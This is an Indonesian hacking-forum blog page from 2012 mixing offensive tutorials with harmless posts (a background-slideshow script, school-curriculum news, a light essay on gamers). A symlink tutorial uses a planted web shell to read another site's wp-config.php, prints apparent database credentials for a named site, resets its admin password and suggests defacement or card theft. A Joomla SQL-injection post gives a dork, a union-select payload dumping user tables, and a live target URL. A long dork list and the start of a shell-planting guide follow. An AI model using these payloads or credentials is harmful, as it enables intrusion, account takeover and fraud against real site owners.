SpirdBird Comunity

Rabu, 05 Desember 2012

0 Tutorial Jumping Dengan Symlink

Diposting oleh Unknown di 22.19

Kali ini saya akan berbagi cara menggunakan Symlink..
Saya anggap agan udah punya target dan sudah di pasang Backdoor/shell di web target..saya tidak akan menjelaskan caranya...

Pertama masuk ke Shell yang sudah di tanam di web target...
lalu upload Sym.php kalo belum punya silahkan [Download Here]

pada gambar di atas saya sudah upload sym.php melalui shell yang saya tanam...
Selanjutnya akses / buka symlink yang telah agan upload...

lalu klik user & domain & symlink

terlihat banyak sekali target2 lain...dan yang akan saya jadikan target adalah thefussyeater.org lalu klik Symlink....

lalu kita cari confignya...dan target saya ini wordpress saya menemukan wp-config.php lalu saya klik...
jika d joomla cari saja configuration.php ..

define('DB_HOST', 'localhost');
DB NAME = thefussy_wrdp3
DB USER = thefussy_wrdp3
DB PASSWORD = CZyLRz1EuwSd
DB HOST = localhost
Lalu setelah mendapatkan informasi mysql kembali ke shell pertama....

Klik koneksi MySQL..

lalu saya isi dengan data2 di atas...dan saya klik Connect
jika d dalam shell agan tidak ada menu Koneksi MySQL Download INI lalu Upload , akses dan login...

saya klik wp_user

terlihat passwordnya dalam bentuk hash..jadi kita rubah saja...agan buat password dalam bentuk MD5 di
http://md5encryption.com/
saya mencoba password 121212 dan setelah d enskripsi menjadi 93279e3308bdbbeed946fc965017f67a lalu saya rubah

saya sudah merubah dengan 93279e3308bdbbeed946fc965017f67a dan saya confirm untuk menyimpan pengaturannya...
berarti saya akan login dengan username admin dan password 121212..

saya coba ke halaman loginwebnya http://thefussyeater.org/wp-admin
saya login...
dan berhasil masuk :)

Jika sudah seperti ini ya terserah..
mau di pasang Backdoor lagi dan deface saya seperti http://aipki.net/ jg terserah :P dosa tanggung sendiri...
saran saya sih kl webshop mending cari CC atau Paypal...
walaupun cm dapet paypal isinya $5 lumayan nunggu dia isi aja dari pada d deface hahahaha.....
Jika ada yang belum tau cara pasang Backdoor/shell di Wordpress tunggu postingan berikutnya , Insya Allah...

Tutorial untuk lebih jelas

Selamat Mencoba...
Sumber : Here

Selasa, 04 Desember 2012

1 BackGround Blog GontaGanti sendiri Pake Script

Diposting oleh Unknown di 23.02

Suatu hari di salah satu ruangan di gedung MPR/DPR. Seorang anggota dewan yang baru diangkat, tampak masih canggung, lugu dan serba kikuk. Rupanya "dia" wakil dari daerah dan belum pernah bekerja atau punya ruangan yang megah. Beberapa saat kemudian, ada yang mengetuk pintu ruangannya !!

Capek ah cerita mending langsung tudepoint

It's My Script

<script type="text/javascript">

<!--

var boncelOnPictures=[

"http://bla.wekwek.XD1.jpg",

"http://bla.wekwek.XD2.jpg",

"http://bla.wekwek.XD3.jpg"

];

function doooSlide(){

if(!window.gbrMana){window.gbrMana=0;boncelOnPictures=boncelOnPictures.sort(function(){return 0.5-Math.random()})}

if($('#block-all').length==0){$('body').prepend('<div id="block-all" style="display:none;position:fixed;width:100%;height:100%;top:0;left:0;background-color:#000000"></div>')}

var nyuimej=new Image();

$(nyuimej).attr({'src':boncelOnPictures[gbrMana]}).load(function(){

$('#block-all').fadeIn(function(){

$('body').css({'background-image':'url('+boncelOnPictures[gbrMana]+')'});

if(!window.udahBsize){window.udahBsize=true;$('body').css({'background-size':'100%'})}

gbrMana++;

if(gbrMana==boncelOnPictures.length){

gbrMana=0;boncelOnPictures=boncelOnPictures.sort(function(){return 0.5-Math.random()});

}

setTimeout("doooSlide()",20000);

$('#block-all').fadeOut();

});

}).error(function(){gbrMana++;doooSlide()});

}

$(window).load(doooSlide);

-->

</script>

Maunya Photo² kalian yang ad di Beckground Blog?
Ganti in aj yg merah sama url foto kalian contohnyee kaya gw :p

http://sphotos-c.ak.fbcdn.net/hphotos-ak-ash4/407679_280019695453081_1454082321_n.jpg

Terserah lah maunya File ".jpg" ".jpeg" ".gif" ".png"

saya juga sudah siapin file photo untuk Kalian yang kaga mau lama² Ngecari :p

tnggal click photo mau ngedownload yaw :p

Kalian kaga suka Asking Alexandria ?

yaudah di kasih Photo²nya MilkBoys Okay XD

seperti biasa lah
Click Photo untuk ngedownload :p

Mau Backgroundnya cepet Gonta-Gantinyaa ? Change 20000 artinya duapuluhribudetik
Dah Segitu aja dulu :)

Selamat Mencoba :)

Sumber : Here

0 Jam Belajar SMP Ditambah 6 Jam Per Minggu

Diposting oleh Unknown di 02.37

“Ini untuk menyiapkan generasi Indonesia yang lebih optimis."

Ada empat tahap yang harus dilalui dalam mengubah kurikulum pendidikan. Saat ini, perubahan kurikulum akan memasuki tahap ketiga, yaitu uji publik.

Kepala Pusat Informasi dan Humas Kementerian Pendidikan dan Kebudayaan, Ibnu Hamad, mengatakan pada tahap pertama, kementeriannya mengembangkan kurikulum dengan melibatkan para pakar pendidikan, kebudayaan, sampai ilmuwan.

Sejauh ini Kemendikbud telah meminta masukan antara lain dari Rektor Universitas Paramadina Anies Baswedan, fisikawan dan tokoh pendidikan Yohanes Surya, sejarawan Taufik Abdullah, dan sastrawan serta budayawan Goenawan Muhammad.

Tahap kedua, presentasi di depan Wakil Presiden RI Boediono tanggal 13 November 2012. Tahap ketiga, uji publik selama tiga minggu untuk menghimpun berbagai masukan masyarakat. Tahap keempat, memformulasi ulang masukan masyarakat itu.

“Kurikulum baru ini didesain untuk menyiapkan generasi Indonesia yang lebih optimis, di mana terdapat keseimbangan antara sikap, keterampilan, dan pengetahuan. Kurikulum disesuaikan dengan zaman,” kata Ibnu kepada VIVAnews, Minggu 2 Desember 2012.

Dalam kurikulum 2013 yang akan diuji publik, pembelajaran di tingkat SD akan dilaksanakan dengan pendekatan sains. Jumlah pelajaran SD akan diubah dari 10 menjadi 6, yaitu Matematika, Bahasa Indonesia, Agama, Pendidikan Jasmani, Pendidikan Pancasila dan Kewarganegaraan, dan Kesenian.

Meski jumlah pelajaran berkurang, namun jumlah jam belajar justru bertambah menjadi sekitar empat jam pelajaran per minggu. Untuk kelas 1 SD, jam belajar bertambah dari 26 menjadi 30 jam, kelas 2 SD dari 27 menjadi 32 jam, kelas 3 SD dari 28 menjadi 34 jam, dan kelas 4, 5, 6 SD dari 32 menjadi 36 jam.

Penambahan jam belajar ini juga terjadi di tingkat SMP. Meski mata pelajaran SMP berkurang dari 12 menjadi 10, namun jumlah jam belajar bertambah enam jam per minggu. Jam belajar siswa SMA pun bertambah dua jam per minggu.

Saran : "Jadi untuk kalian yang jam belajarnya di tambah, jgn patah semangat, terus kejar Cita citamu sampai dapat ^_^"
Sumber : Here

Sabtu, 01 Desember 2012

0 Joomla SQL Injection Vulnerability

Diposting oleh Unknown di 07.07

Kali ini saya akan share sdikit mainan nihh buat yg masih belajar kaya ane =))
mungkin ni exploit jadul tp masih work cuy :*
buat master lewat ajah yaahh =)

dork : inurl:"index.php?option=com_jobprofile

dork bisa di explorasi lg sesuka hati =))

exploit : +union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9+from+jos_users–

demo : http://www.chartercommerce.com.au/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1

Jadi : http://www.chartercommerce.com.au/index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=-1+union+all+select+1,concat_ws(0x3a,id,name,username,email,password,usertype,block,sendEmail,gid,registerDate,lastvisitDate,activation,params),3,4,5,6,7,8,9+from+jos_users

Jika sudah mendapatkan email admin. ente bisa reset passnya gan,
reset pass : /index.php?option=com_user&view=reset

masukin emailnya d kolom itu lalu klik submit ,,setelah itu masukan token yg di dapat td lalu klik submit...alhasil tinggal tulis password baru =))

NB : kalo tokennya ada symbol $$$$ ( salt ) mendingan cari target lain karena saya juga mumet ma salt Gmna caranya buat tusbol =))

Selamat Mencoba :)
Sumber : Here

0 Macam-Macam dork SQLi

Diposting oleh Unknown di 02.52

Dork SQLi

inurl:index.php?id=

inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurl:play_old.php?id=

inurl:declaration_more.ph p?decl_id=

inurl:pageid=

inurl:games.php?id=

inurl:page.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?nu m=

inurl:reagir.php?num=

inurl:Stray-Questions-View.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id =

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?i d=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurl:ogl_inet.php?ogl_id =

inurl:fiche_spectacle.php ?id=

inurl:communique_detail.p hp?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:opinions.php?id=

inurl:spr.php?id=

inurl:pages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurl:participant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:prod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurl:person.php?id=

inurl:productinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id =

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurl:profile_view.php?id =

inurl:category.php?id=

inurl:publications.php?id =

inurl:fellows.php?id=

inurl:downloads_info.php? id=

inurl:prod_info.php?id=

inurl:shop.php?do=part&id =

inurl:productinfo.php?id=

inurl:collectionitem.php? id=

inurl:band_info.php?id=

inurl:product.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurl:produit.php?id=

inurl:pop.php?id=

inurl:shopping.php?id=

inurl:productdetail.php?i d=

inurl:post.php?id=

inurl:viewshowdetail.php? id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurl:page.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?i d=

inurl:product_ranges_view .php?ID=

inurl:shop_category.php?i d=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?ge tid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurl:product-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurl:preview.php?id=

inurl:loadpsb.php?id=

inurl:pages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:story.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurl:opinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php ?idn=

inurl:rubrika.php?idr=

inurl:rubp.php?idr=

inurl:offer.php?idf=

inurl:art.php?idm=

inurl:title.php?id=

inurl:".php?id=1"

inurl:".php?cat=1"

inurl:".php?catid=1"

inurl:".php?num=1"

inurl:".php?bid=1"

inurl:".php?pid=1"

inurl:".php?nid=1"

Untuk Scan SQLI [Disini]

Selamat Mencoba

Jumat, 30 November 2012

0 Alasan Cewe Ga Suka Cowo Gamers + Jawaban Dari Gamers

Diposting oleh Unknown di 18.34

Ada bebrapa alasan cewek kenapa gak terlalu suka dengan cowo gamers :

1. Mereka bilang gamers pasti lebih mentingin dunia gamenya daripada si cewek tersebut alias nyuekin cewenya ( Wew,, nggak jg kk... )
2. Ngabisin duit aja maen game terus
3. Rata" gamers di anggap COPO!!! (tapi ga semua,kya yg buat notes ini contohnya.. Haha)
4. jarang mandi karena keranjingan naikin level
5. rata2 perokok jadi membuat ruangan jadi penuh asap ( Wetss,, rata".. bukan smua.. apalagi yg buat thread,anti broo... )
6. tidak memperhatikan dunia luar jadi terisolasi gitu (Nggak selamanya mata depan kompi trus,bisa copot ntar )
7. Rata" gamers rata" pada cabut alias BOLOS ( Rata" kan?? brarti nggak smuanya,, [contoh'a gw, hehe] Makanya,, liat dlu sifatnya.. DON'T JUDGE THE BOOK BY IT'S COVER dear... )
8. Takut di saingin sma game OL.. ( Haduhh,, jangan pernah punya pmikiran ky gtu deh,, bakal di tingal tuhh game demi si DIA.. )

Jawaban Saya.
1. Kita emang sibuk dengan game kita, kita ga perhatian,, tapi apa cinta itu bisa diharuskan SMSN?? TELPONAN?? Cinta ga harus dibuktiin dengan itu.
2. Cuek ? ya hampir sama yang diatas, kita bukannya cuek juga,, kalo lagi asik game mah lupa daratan,, sesibuk"a main game gw tetep bales sms cewe gw,, itu yang bikin hubungan gw masih jalan.
3. Ngabisin duit? gw maen di laptop gw sendiri?? koneksi internet gw sendiri?? paling beli gcash :D
4. Jarang mandi ?? gw maen atau ga maen game emang jarang mandi $_$
5. Perokok?? ga juga gw ga ngerokok loh :D
6. gw gamers baik hati ga suka bolos :D

Ada Seorang Gamers Lain Yang Menjawabnya
1. Kita bisa ninggalin dunia game demi kamu ( pacar kita ) asalkan kamu bisa setia sama kita sama seperti game yang selalu menemani kita saat sedih maupun senang!!!(bisa gak lo???) pasti tuh cewek nanya balik ke kita. . . "kamu bisa gak setia ama kita???" jawabnya YA.. kita aja bisa setia ama komputer dari pagi ampe ketemu pagi. . .kenapa sama cewek ga??? Ya thoo??
2. Selama itu duit kita gak minta ama lo, lo biasa aja. . .hahahaha toh duit emak gw. . .Wkaka,, Qdink all..
3. Saya harap berfikir 2 kali sebelum bilangin gamers itu COPO. . . ( tentu aja,, liat orangnya dlu baru comment.. hehehe)

Ada Saran Dari Seorang Gamers
1. komitmen BENER2 dari dalam hati dengan menganggap Game Online = Rokok/ Narkoba (Aaaah, susah kga maen sehari aja)
2. cari kegiatan lain yang positif apalagi yang udah kuliah cari yang berhubungan dengan kuliah
3. berusaha hidup sehat
4. Game tuhh cuma buat have fun aja, jangan di jadiin kewajiban. (Setujuhh gan.. )
5. Bisa bagi waktu..
6. Kalo lg pas di dunia nyata, bersikaplah layak'nya org normal.. Tp kalo lg maen game,, serah lo mau ngluarin jurus Presurre bomb kek,Double Crash,headshot kek..

Sifat asli gamers ( Maluu... ) :

1.gamer itu ponya hati yang lebih daripada cowok2 yang laen.kita bakal ngejagain kalian(para cewek) layaknya kita lagi PVP sama orang di game..

2.kita juga manusia kok masih butuh cinta dan perhatian, justru kita lebih seneng klo ada moment kita lagi maen game sambil di temenin pasangan, ( Walaupun kadang2 pasanganya klo ikut kita cuekin hehehe.. )

JADI JANGAN ANGGAP GAMMERZ ANEH

Sumber : Here

0 Cara tanam Shell/Backdoor pada Joomla

Diposting oleh Unknown di 07.47

Assalamualaikum Wr Wb :)
Kali ini saya akan share cara tanam shell/backdoor pada joomla...

1.Anda Memerlukan
ninjaXplorer [Download Here]

Ok
setelah selesai download ninja ni
jangan di extract zip file tersebut

Sekarang ni?
Login Ke Joomla